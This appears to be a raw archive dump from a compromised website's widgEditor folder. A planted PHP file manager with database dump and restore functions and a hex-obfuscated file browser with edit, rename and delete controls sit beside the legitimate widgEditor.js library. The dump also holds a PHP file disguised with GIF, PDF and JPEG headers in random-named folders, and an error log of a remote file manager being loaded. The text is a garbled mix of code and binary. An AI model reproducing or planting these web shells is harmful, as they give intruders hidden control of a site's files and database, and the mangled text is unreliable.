'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
";echo htmlspecialchars(${$japrxjl});echo "\x3c/pre>\n\x20 \x20 \x20  \x20\x20   ";}echo "\n    \x20\x20 \x20\x3c/\x64\x69v>\n\n\x20\x20      <\x64\x69v>\n \x20\x20 \x20 \x20\x20\x20   \x3c\x68\x32\x20\x63\x6c\x61\x73\x73=\x22b\x72ea\x64\x63\x72\x75m\x62\"\x3e";echo createBreadcrumb(${$tkdqvwyrih});echo "\x3c/h\x32>\n\x20\x20 \x20 \x20\x20    \x20<\x74ab\x6c\x65 \x63l\x61ss=\"\x66i\x6c\x65-t\x61\x62\x6c\x65\x22\x3e\n\x20 \x20    \x20\x20 \x20\x20\x20  \x20\x3c\x74h\x65ad>\n\x20  \x20 \x20\x20 \x20 \x20 \x20\x20  \x20 \x20 \n\x20\x20\x20 \x20\x20 \x20 \x20\x20 \x20  \x20\x20\x20 \x20\x20 \x20 \x49zi\x6e\x41k\x73i\x3c/th\x3e\n\x20 \x20 \x20\x20 \x20\x20\x20\x20\x20  \x20\x20 \x20\x20\x20\x3c/\x74r\x3e\n\x20 \x20   \x20\x20\x20  \x20 \x20 \x20\n \x20\x20\x20  \x20\x20    \x20 \x20\x20 \x20\x20\x20\x20 \x20\x20 \x20\x20\x20\x3ct\x64\x3e\x3ca \x68\x72ef=\"?\x64i\x72=";echo urlencode(${${"G\x4cO\x42ALS"}["d\x64\x61j\x75a\x6fldg"]}."/".${${"\x47\x4c\x4fB\x41L\x53"}["\x67\x75\x78a\x6f\x76"]});$cvjgalleb="\x63\x75\x72\x72\x65\x6et\x44\x69\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["bwhtf\x6ae"]="\x66\x6f\x6c\x64e\x72";echo "\x22\x3e";echo htmlspecialchars(${${"G\x4cO\x42\x41\x4c\x53"}["\x62wh\x74\x66\x6a\x65"]});echo "\x3c/td>\n \x20\x20\x20\x20 \x20 \x20 \x20 \x20      \x20\x20\x20\x20\x20\x20   \x3c\x74d\x3e-\n\x20\x20\x20 \x20 \x20      \x20 \x20  \x20 \x20 \x20 \x20  \x20\x3ctd>";echo getFilePermission(${$cvjgalleb}."/".${${"\x47\x4cOBAL\x53"}["qh\x73p\x61rp\x6cv\x6e"]});echo "\n\x20 \x20\x20\x20 \x20  \x20\x20   \x20 \x20 \x20\x20\x20 \x20 \x20\x20 \x20\x3ct\x64>-\n\x20   \x20   \x20\x20\x20\x20  \x20\x20\x20 \x20     \x3c/t\x72>\n \x20  \x20\x20 \x20 \x20\x20    \x20\x20\x20\x20\x20";}echo "\n\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x20  \x20\x20 \x20\x20";foreach(${$gvdrnuiywsu} as${${"\x47\x4c\x4f\x42\x41L\x53"}["\x77m\x67\x68\x70\x79x\x64t\x6c"]}){${"\x47L\x4f\x42\x41\x4c\x53"}["u\x61d\x70q\x63\x64d"]="fil\x65";echo "  \x20\x20\x20\x20     \x20\x20\x20\x20\x20       \x20\x3c\x74\x72>\n\x20  \x20  \x20\x20    \x20  \x20\x20  \x20\x20\x20     \x20\x3c\x74d\x3e";echo htmlspecialchars(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77mg\x68\x70\x79x\x64tl"]});echo "\n    \x20\x20\x20\x20 \x20 \x20   \x20  \x20\x20     \x20\x20 \x3c\x74\x64>";echo getFileSize(${${"G\x4c\x4f\x42\x41\x4cS"}["d\x64\x61j\x75\x61\x6f\x6c\x64g"]}."/".${${"\x47L\x4fB\x41\x4cS"}["u\x61\x64\x70\x71\x63d\x64"]});$hdcxbuszbvj="\x66i\x6ce";${"G\x4c\x4f\x42A\x4cS"}["b\x6d\x64\x75\x6f\x6e\x6b\x65\x78"]="fi\x6ce";echo "\x3c/\x74d>\n \x20\x20   \x20\x20\x20 \x20 \x20   \x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20<\x74\x64\x3e";${"\x47\x4cO\x42A\x4c\x53"}["\x65\x72l\x68q\x6c\x77"]="file";echo getFilePermission(${${"\x47L\x4f\x42\x41LS"}["dd\x61ju\x61o\x6c\x64\x67"]}."/".${$hdcxbuszbvj});echo "\n \x20   \x20\x20\x20\x20\x20 \x20  \x20\x20   \x20\x20 \x20\x20 \x20 \x20E\x64\x69\x74\x52e\x6e\x61m\x65\x3c/a\x3e\n  \x20 \x20 \x20\x20  \x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20\x20   \x20\x20\x20\x20\x20\x3c\x61 hre\x66\x3d\"?d\x69\x72=";echo urlencode(${${"G\x4c\x4fBAL\x53"}["d\x64\x61\x6au\x61\x6f\x6cdg"]});echo "\x26\x64e\x6c\x65\x74e\x3d";echo urlencode(${${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x72\x6ch\x71\x6c\x77"]});echo "\x22\x20\x6f\x6e\x63\x6cic\x6b=\x22ret\x75\x72n\x20\x63on\x66\x69r\x6d(\x27Yak\x69n\x20i\x6e\x67\x69n \x68a\x70us?')\">D\x65l\x65te\x3c/a\x3e\n\x20\x20     \x20 \x20 \x20 \x20\x20\x20\x20     \x20\x20    \n\x20\x20  \x20 \x20\x20\x20 \x20   \x20\x20 \x20\x20 \x20  \x20\n\x20\x20 \x20  \x20  \x20   \x20  \x20   ";}echo "\n   \x20   \x20 \x20 \x20\x20  \x20\n\x20 \x20  \x20     \x20\x3c/tabl\x65>\n\x20   \x20   \x3c/di\x76\x3e\n\n\x20  \x20  \x20 ";if(isset($_GET["e\x64i\x74"])){echo " \x20  \x20       \x3cd\x69\x76\x3e\n \x20    \x20  \x20 \x20\x20 \x20\x20<\x682>Ed\x69t \x46\x69\x6c\x65:\x20";echo htmlspecialchars($_GET["e\x64\x69t"]);$dvoktgb="\x63\x75r\x72\x65nt\x44ir";echo "\n\x20 \x20  \x20\x20 \x20  \x20\x20 \x20 \x3c\x66\x6frm\x20\x61\x63t\x69on=\"\x22 me\x74h\x6f\x64\x3d\x22po\x73t\"\x3e\n\x20  \x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20   \x20 \x3ct\x65\x78\x74\x61re\x61 na\x6d\x65\x3d\"con\x74\x65n\x74\" \x72o\x77s=\x22\x31\x30\"\x20co\x6c\x73=\"5\x30\"\x3e";echo htmlspecialchars(file_get_contents(${$dvoktgb}."/".$_GET["\x65d\x69\x74"]));echo "\x3c/tex\x74\x61\x72\x65\x61\x3e\n\x20  \x20 \x20 \x20 \x20 \x20 \x20      \n \x20\x20\x20\x20 \x20\x20\x20 \x20\x20\n\x20  \x20\x20\x20\x20\x20 \x20\x20\x20  \x20\x20\x3ch\x32\x3e\x52en\x61\x6de\x20\x46i\x6ce: ";echo htmlspecialchars($_GET["r\x65n\x61me"]);echo "\n\x20\x20  \x20 \x20\x20 \x20 \x20\x20  \x20\n  \x20\x20  \x20  \x20\x20 \x20   \x20\x20  \x3cinput \x74\x79\x70e=\x22text\x22\x20n\x61m\x65\x3d\x22\x6eew\x5fn\x61m\x65\"\x20\x76alue\x3d\"";echo htmlspecialchars($_GET["\x72\x65name"]);echo "\"\x20r\x65q\x75ire\x64\x3e\n\x20   \x20  \x20 \x20 \x20 \x20\x20 \x20  \x20\x3cin\x70\x75\x74 t\x79\x70\x65\x3d\"\x68i\x64\x64en\" \x6e\x61me\x3d\x22\x6f\x6c\x64\x5fna\x6de\x22\x20\x76\x61lue\x3d\"";echo htmlspecialchars($_GET["\x72\x65\x6eam\x65"]);echo "\x22>\n  \x20\x20   \x20  \x20      \x20\x20 widgEditor/scripts/sqo8dz/sjx90.php000064400000726030151026170410013257 0ustar00GIF89;
GIF89;
%PDF-
%PDF-


 JFIF        	  	 

	



 "" $(4,$&1'-=-157:::#+?D?8C49:7




7%%77777777777777777777777777777777777777777777777777  { "                 5        !1AQa"q2BR#b                                    ? D@DDD@DDD@DDkK6 UG4V1
릟@#RYdqp 
 o7ms<VPSe~Vچ8XT$c 9ᘆm6@ WUfDonr5}9}hcfF/r=hi ͇* b.$0&tey@AF= PfAa˪ŒÉU| 	3\״ H SZg46Cצے	b<;mRpع^l7*TF}\MM%'٠ݽv !-?N!LaA+[`#M'~oR?v^)=hAX.˃^ƏܯsO"Bc>;
e45k/CB.
 J?;҈~)X+!=mۚ丷~6a^X),>#&6GY{"" """ """ """ """ ""at\/a8 yp%lhln)itB?widgEditor/scripts/zkmyxr/index.php000064400000000146151026170410013516 0ustar00widgEditor/scripts/a0f7ml/index.php000064400000000147151026170410013241 0ustar00widgEditor/scripts/f49ktm/index.php000064400000000150151026170410013263 0ustar00widgEditor/scripts/5ep0go/error_log000064400000000377151026170410013354 0ustar00[27-Oct-2025 03:47:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /tmp/phpM5aThD#wp-quintero.php on line 173
widgEditor/scripts/5ep0go/index.php000064400000000157151026170410013253 0ustar00widgEditor/scripts/8zyh0f/index.php000064400000000153151026170410013300 0ustar00widgEditor/scripts/95bieg/index.php000064400000000150151026170410013231 0ustar00widgEditor/scripts/widgEditor.js000064400000122710151026170410012773 0ustar00/*
**    File: widgEdit.js
**    Created by: Cameron Adams (http://www.themaninblue.com/)
**    Created on: 2005-01-16
**    Last modified: 2008-03-01
**
**
**
**
**    License Information:
**    -------------------------------------------------------------------------
**    Copyright (C) 2008 Cameron Adams
**
**    This program is free software; you can redistribute it and/or modify it
**    under the terms of the GNU General Public License as published by the
**    Free Software Foundation; either version 2 of the License, or (at your
**    option) any later version.
**    
**    This program is distributed in the hope that it will be useful, but
**    WITHOUT ANY WARRANTY; without even the implied warranty of
**    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
**    General Public License for more details.
**    
**    You should have received a copy of the GNU General Public License along
**    with this program; if not, write to the Free Software Foundation, Inc.,
**    59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
**    
**    
**    
**    
**    Purpose:
**    -------------------------------------------------------------------------
**
**    Replaces all textareas (class="widgEditor") in a HTML document with
**    enhanced editing windows to allow basic HTML formatting in a WYSIWYG
**    manner.
**
**
**
**
**    Function list:
**    -------------------------------------------------------------------------
**
**    run()
**
**    widgInit()
**
**    widgEditor(replacedTextareaID)
**    widtEditor.cleanPaste()
**    widgEditor.cleanSource()
**    widgEditor.convertSPANs(theSwitch)
**    widgEditor.detectPaste(e)
**    widgEditor.initEdit()
**    widgEditor.insertNewParagraph()
**    widgEditor.modifyFormSubmit()
**    widgEditor.paragraphise()
**    widgEditor.refreshDisplay()
**    widgEditor.switchMode()
**    widgEditor.updateWidgInput()
**    widgEditor.writeDocument()
**
**    widgToolbar()
**    widgToolbar.addButton(theID, theClass, theLabel, theAction)
**    widgToolbar.addSelect(theID, theClass, theContentArray, theAction)
**    widgToolbar.disable()
**    widgToolbar.enable()
**    widgToolbar.setState(theState, theStatus)
**
**    widgToolbarAction()
**
**    widgToolbarCheckState(theWidgEditor, resubmit)
**
**    widgToolbarMouseover()
**
**    acceptableChildren(theNode)
**
**    changeNodeType(theNode, nodeType)
**
**    replaceNodeWithChildren()
**
**    String.addClass(theClass)
**    String.classExists(theClass)
**    String.isAcceptedElementName()
**    String.isInlineName()
**    String.removeClass(theClass)
**    String.reverse()
**    String.validTags()
*/




/******************************************************************************
**    CONFIGURATION VARIABLES
******************************************************************************/

/* Location of stylesheet file for editor content */
var widgStylesheet = "css/widgContent.css";

/* Items to appear in toolbar. */
var widgToolbarItems = new Array();

widgToolbarItems.push("bold");
widgToolbarItems.push("italic");
widgToolbarItems.push("hyperlink");
widgToolbarItems.push("unorderedlist");
widgToolbarItems.push("orderedlist");
widgToolbarItems.push("image");
widgToolbarItems.push("htmlsource");
widgToolbarItems.push("blockformat");

/* Options on block format select element. Consists of string pairs (option value, option label) */
var widgSelectBlockOptions = new Array();

widgSelectBlockOptions.push("", "Change block type");
widgSelectBlockOptions.push("

", "Heading 1"); widgSelectBlockOptions.push("

", "Heading 2"); widgSelectBlockOptions.push("

", "Heading 3"); widgSelectBlockOptions.push("

", "Heading 4"); widgSelectBlockOptions.push("

", "Heading 5"); widgSelectBlockOptions.push("
", "Heading 6"); widgSelectBlockOptions.push("

", "Paragraph"); /* If widgInsertParagraphs = true, when content is submitted paragraphs will be ** inserted around text without a parent element. Mozilla does not ** automatically do this, so if this is set to false you will end up with some ** plain text blocks. Uses a double
as a pargraph marker. */ var widgInsertParagraphs = true; /* If widgAutoClean = true, when content is pasted into the WYSIWYG view, it ** will automatically be cleaned. If widgAutoClean = false, the user will be ** prompted as to whether they wish to clean the content. */ var widgAutoClean = false; /****************************************************************************** ** END CONFIGURATION ******************************************************************************/ run(); function run() { var oldOnload = window.onload; if (typeof(window.onload) != "function") { window.onload = widgInit; } else { window.onload = function() { oldOnload(); widgInit(); } } } function widgInit() { /* Detects if designMode is available, and also if browser is IE or Mozilla (excludes Safari) */ if (typeof(document.designMode) == "string" && (document.all || document.designMode == "off")) { var theTextareas = document.getElementsByTagName("textarea"); for (var i = 0; i < theTextareas.length; i++) { var theTextarea = theTextareas[i]; if (theTextarea.className.classExists("widgEditor")) { if (theTextarea.id == "") { theTextarea.id = theTextarea.name; } setTimeout("new widgEditor('" + theTextarea.id + "')", 500 * (i)); } } } else { return false; } return true; } function widgEditor(replacedTextareaID) { var self = this; this.theTextarea = document.getElementById(replacedTextareaID); this.theContainer = document.createElement("div"); this.theIframe = document.createElement("iframe"); this.theInput = document.createElement("input"); this.theExtraInput = document.createElement("input"); this.IE = false; this.locked = true; this.pasteCache = ""; this.wysiwyg = true; if (document.all) { this.IE = true; } if (this.theTextarea.id == null) { this.theTextarea.id = this.theTextarea.name; } this.theTextarea.style.visibility = "hidden"; /* Modify DOM objects for editor */ this.theContainer.id = this.theTextarea.id + "WidgContainer"; this.theContainer.className = "widgContainer"; this.theIframe.id = this.theTextarea.id + "WidgIframe"; this.theIframe.className = "widgIframe"; this.theInput.type = "hidden"; this.theInput.id = this.theTextarea.id; this.theInput.name = this.theTextarea.name; this.theInput.value = this.theTextarea.value; this.theToolbar = new widgToolbar(this); /* An extra input to determine if the submitted data is from the normal textarea or from the widgEditor */ this.theExtraInput.type = "hidden"; this.theExtraInput.id = this.theTextarea.id + "WidgEditor"; this.theExtraInput.name = this.theTextarea.name + "WidgEditor"; this.theExtraInput.value = "true"; this.theTextarea.id += "WidgTextarea"; this.theTextarea.name += "WidgTextarea"; this.theContainer.appendChild(this.theToolbar.theList); this.theContainer.appendChild(this.theIframe); this.theContainer.appendChild(this.theInput); this.theContainer.appendChild(this.theExtraInput); this.theContainer.style.visibility = "hidden"; this.theInput.widgEditorObject = this; this.theTextarea.parentNode.replaceChild(this.theContainer, this.theTextarea); /* Fill editor with old textarea content */ this.writeDocument(this.theInput.value); /* Make editor editable */ this.initEdit(); /* Attach onsubmit to parent form */ this.modifyFormSubmit(); return true; } /* Clean pasted content */ widgEditor.prototype.cleanPaste = function() { if (widgAutoClean || confirm("Do you wish to clean the HTML source of the content you just pasted?")) { var matchedHead = ""; var matchedTail = ""; var newContent = this.theIframe.contentWindow.document.getElementsByTagName("body")[0].innerHTML; var newContentStart = 0; var newContentFinish = 0; var newSnippet = ""; var tempNode = document.createElement("div"); /* Find start of both strings that matches */ for (newContentStart = 0; newContent.charAt(newContentStart) == this.pasteCache.charAt(newContentStart); newContentStart++) { matchedHead += this.pasteCache.charAt(newContentStart); } /* If newContentStart is inside a HTML tag, move to opening brace of tag */ for (var i = newContentStart; i >= 0; i--) { if (this.pasteCache.charAt(i) == "<") { newContentStart = i; matchedHead = this.pasteCache.substring(0, newContentStart); break; } else if(this.pasteCache.charAt(i) == ">") { break; } } newContent = newContent.reverse(); this.pasteCache = this.pasteCache.reverse(); /* Find end of both strings that matches */ for (newContentFinish = 0; newContent.charAt(newContentFinish) == this.pasteCache.charAt(newContentFinish); newContentFinish++) { matchedTail += this.pasteCache.charAt(newContentFinish); } /* If newContentFinish is inside a HTML tag, move to closing brace of tag */ for (var i = newContentFinish; i >= 0; i--) { if (this.pasteCache.charAt(i) == ">") { newContentFinish = i; matchedTail = this.pasteCache.substring(0, newContentFinish); break; } else if(this.pasteCache.charAt(i) == "<") { break; } } matchedTail = matchedTail.reverse(); /* If there's no difference in pasted content */ if (newContentStart == newContent.length - newContentFinish) { return false; } newContent = newContent.reverse(); newSnippet = newContent.substring(newContentStart, newContent.length - newContentFinish); newSnippet = newSnippet.validTags(); /* Replace opening bold tags with strong */ newSnippet = newSnippet.replace(/)/g, ")/g, ")/g, ")/g, "]*>/g, function(match) { match = match.replace(/ ([^=]+)="[^"]*"/g, function(match2, attributeName) { if (attributeName == "alt" || attributeName == "href" || attributeName == "src" || attributeName == "title") { return match2; } return ""; }); return match; } ); tempNode.innerHTML = newSnippet; acceptableChildren(tempNode); this.theInput.value = matchedHead + tempNode.innerHTML + matchedTail; /* Final cleanout for MS Word cruft */ this.theInput.value = this.theInput.value.replace(/<\?xml[^>]*>/g, ""); this.theInput.value = this.theInput.value.replace(/<[^ >]+:[^>]*>/g, ""); this.theInput.value = this.theInput.value.replace(/<\/[^ >]+:[^>]*>/g, ""); this.refreshDisplay(); /* Convert semantics to spans in Mozilla */ if (!this.IE) { this.convertSPANs(); } } return true; } /* Clean the HTML code of the content area */ widgEditor.prototype.cleanSource = function() { var theHTML = ""; if (this.wysiwyg) { theHTML = this.theIframe.contentWindow.document.getElementsByTagName("body")[0].innerHTML; } else { theHTML = this.theTextarea.value; } theHTML = theHTML.validTags(); /* Remove leading and trailing whitespace */ theHTML = theHTML.replace(/^\s+/, ""); theHTML = theHTML.replace(/\s+$/, ""); /* Remove style attribute inside any tag */ theHTML = theHTML.replace(/ style="[^"]*"/g, ""); /* Replace improper BRs */ theHTML = theHTML.replace(/
/g, "
"); /* Remove BRs right before the end of blocks */ theHTML = theHTML.replace(/
\s*<\/(h1|h2|h3|h4|h5|h6|li|p)/g, "]+[^\/])>/g, "$1 />"); /* Remove empty tags */ theHTML = theHTML.replace(/(<[^\/]>|<[^\/][^>]*[^\/]>)\s*<\/[^>]*>/g, ""); if (this.wysiwyg) { this.theIframe.contentWindow.document.getElementsByTagName("body")[0].innerHTML = theHTML; } else { this.theTextarea.value = theHTML; } this.theInput.value = theHTML; return true; } widgEditor.prototype.convertSPANs = function(theSwitch) { if (theSwitch) { /* Replace styled spans with their semantic equivalent */ var theSPANs = this.theIframe.contentWindow.document.getElementsByTagName("span"); while(theSPANs.length > 0) { var theChildren = new Array(); var theReplacementElement = null; var theParentElement = null; for (var j = 0; j < theSPANs[0].childNodes.length; j++) { theChildren.push(theSPANs[0].childNodes[j].cloneNode(true)); } /* Detect type of span style */ switch (theSPANs[0].getAttribute("style")) { case "font-weight: bold;": theReplacementElement = this.theIframe.contentWindow.document.createElement("strong"); theParentElement = theReplacementElement; break; case "font-style: italic;": theReplacementElement = this.theIframe.contentWindow.document.createElement("em"); theParentElement = theReplacementElement; break; case "font-weight: bold; font-style: italic;": theParentElement = this.theIframe.contentWindow.document.createElement("em"); theReplacementElement = this.theIframe.contentWindow.document.createElement("strong"); theReplacementElement.appendChild(theParentElement); break; case "font-style: italic; font-weight: bold;": theParentElement = this.theIframe.contentWindow.document.createElement("strong"); theReplacementElement = this.theIframe.contentWindow.document.createElement("em"); theReplacementElement.appendChild(theParentElement); break; default: replaceNodeWithChildren(theSPANs[0]); break; } if (theReplacementElement != null) { for (var j = 0; j < theChildren.length; j++) { theParentElement.appendChild(theChildren[j]); } theSPANs[0].parentNode.replaceChild(theReplacementElement, theSPANs[0]); } theSPANs = this.theIframe.contentWindow.document.getElementsByTagName("span"); } } else { /* Replace em and strong tags with styled spans */ var theEMs = this.theIframe.contentWindow.document.getElementsByTagName("em"); while(theEMs.length > 0) { var theChildren = new Array(); var theSpan = this.theIframe.contentWindow.document.createElement("span"); theSpan.setAttribute("style", "font-style: italic;"); for (var j = 0; j < theEMs[0].childNodes.length; j++) { theChildren.push(theEMs[0].childNodes[j].cloneNode(true)); } for (var j = 0; j < theChildren.length; j++) { theSpan.appendChild(theChildren[j]); } theEMs[0].parentNode.replaceChild(theSpan, theEMs[0]); theEMs = this.theIframe.contentWindow.document.getElementsByTagName("em"); } var theSTRONGs = this.theIframe.contentWindow.document.getElementsByTagName("strong"); while(theSTRONGs.length > 0) { var theChildren = new Array(); var theSpan = this.theIframe.contentWindow.document.createElement("span"); theSpan.setAttribute("style", "font-weight: bold;"); for (var j = 0; j < theSTRONGs[0].childNodes.length; j++) { theChildren.push(theSTRONGs[0].childNodes[j].cloneNode(true)); } for (var j = 0; j < theChildren.length; j++) { theSpan.appendChild(theChildren[j]); } theSTRONGs[0].parentNode.replaceChild(theSpan, theSTRONGs[0]); theSTRONGs = this.theIframe.contentWindow.document.getElementsByTagName("strong"); } } return true; } /* Check for pasted content */ widgEditor.prototype.detectPaste = function(e) { var keyPressed = null; var theEvent = null; if (e) { theEvent = e; } else { theEvent = event; } if (theEvent.ctrlKey && theEvent.keyCode == 86 && this.wysiwyg) { var self = this; this.pasteCache = this.theIframe.contentWindow.document.getElementsByTagName("body")[0].innerHTML; /* Because Mozilla can't access the clipboard directly, must rely on timeout to check pasted differences in main content */ setTimeout(function(){self.cleanPaste(); return true;}, 100); } return true; } /* Turn on document editing */ widgEditor.prototype.initEdit = function() { var self = this; try { this.theIframe.contentWindow.document.designMode = "on"; } catch (e) { /* setTimeout needed to counteract Mozilla bug whereby you can't immediately change designMode on newly created iframes */ setTimeout(function(){self.initEdit()}, 250); return false; } if (!this.IE) { this.convertSPANs(false); } this.theContainer.style.visibility = "visible"; this.theTextarea.style.visibility = "visible"; /* Mozilla event capturing */ if (typeof document.addEventListener == "function") { this.theIframe.contentWindow.document.addEventListener("mouseup", function(){widgToolbarCheckState(self); return true;}, false); this.theIframe.contentWindow.document.addEventListener("keyup", function(){widgToolbarCheckState(self); return true;}, false); this.theIframe.contentWindow.document.addEventListener("keydown", function(e){self.detectPaste(e); return true;}, false); } /* IE event capturing */ else { this.theIframe.contentWindow.document.attachEvent("onmouseup", function(){widgToolbarCheckState(self); return true;}); this.theIframe.contentWindow.document.attachEvent("onkeyup", function(){widgToolbarCheckState(self); return true;}); this.theIframe.contentWindow.document.attachEvent("onkeydown", function(e){self.detectPaste(e); return true;}, false); } this.locked = false; return true; } /* Add elements to a paragraph and inserts the paragraph before a given element in the body */ widgEditor.prototype.insertNewParagraph = function(elementArray, succeedingElement) { var theBody = this.theIframe.contentWindow.document.getElementsByTagName("body")[0]; var theParagraph = this.theIframe.contentWindow.document.createElement("p"); for (var i = 0; i < elementArray.length; i++) { theParagraph.appendChild(elementArray[i]); } if (typeof(succeedingElement) != "undefined") { theBody.insertBefore(theParagraph, succeedingElement); } else { theBody.appendChild(theParagraph); } return true; } /* Add submit listener to parent form */ widgEditor.prototype.modifyFormSubmit = function() { var self = this; var theForm = this.theContainer.parentNode; var oldOnsubmit = null; /* Find the parent form element */ while (theForm.nodeName.toLowerCase() != "form") { theForm = theForm.parentNode; } /* Add onsubmit without overwriting existing function calls */ oldOnsubmit = theForm.onsubmit; if (typeof theForm.onsubmit != "function") { theForm.onsubmit = function() { return self.updateWidgInput(); } } else { theForm.onsubmit = function() { self.updateWidgInput(); return oldOnsubmit(); } } return true; } /* Format the HTML with paragraphs. Any parentless text is enclosed in a paragraph, double breaks are paragraph markers */ widgEditor.prototype.paragraphise = function() { if (widgInsertParagraphs && this.wysiwyg) { var theBody = this.theIframe.contentWindow.document.getElementsByTagName("body")[0]; /* Remove all text nodes containing just whitespace */ for (var i = 0; i < theBody.childNodes.length; i++) { if (theBody.childNodes[i].nodeName.toLowerCase() == "#text" && theBody.childNodes[i].data.search(/^\s*$/) != -1) { theBody.removeChild(theBody.childNodes[i]); i--; } } var removedElements = new Array(); for (var i = 0; i < theBody.childNodes.length; i++) { if (theBody.childNodes[i].nodeName.isInlineName()) { removedElements.push(theBody.childNodes[i].cloneNode(true)); theBody.removeChild(theBody.childNodes[i]); i--; } else if (theBody.childNodes[i].nodeName.toLowerCase() == "br") { if (i + 1 < theBody.childNodes.length) { /* If the current break tag is followed by another break tag */ if (theBody.childNodes[i + 1].nodeName.toLowerCase() == "br") { /* Remove consecutive break tags */ while (i < theBody.childNodes.length && theBody.childNodes[i].nodeName.toLowerCase() == "br") { theBody.removeChild(theBody.childNodes[i]); } if (removedElements.length > 0) { this.insertNewParagraph(removedElements, theBody.childNodes[i]); removedElements = new Array(); } } /* If the break tag appears before a block element */ else if (!theBody.childNodes[i + 1].nodeName.isInlineName()) { theBody.removeChild(theBody.childNodes[i]); } else if (removedElements.length > 0) { removedElements.push(theBody.childNodes[i].cloneNode(true)); theBody.removeChild(theBody.childNodes[i]); } 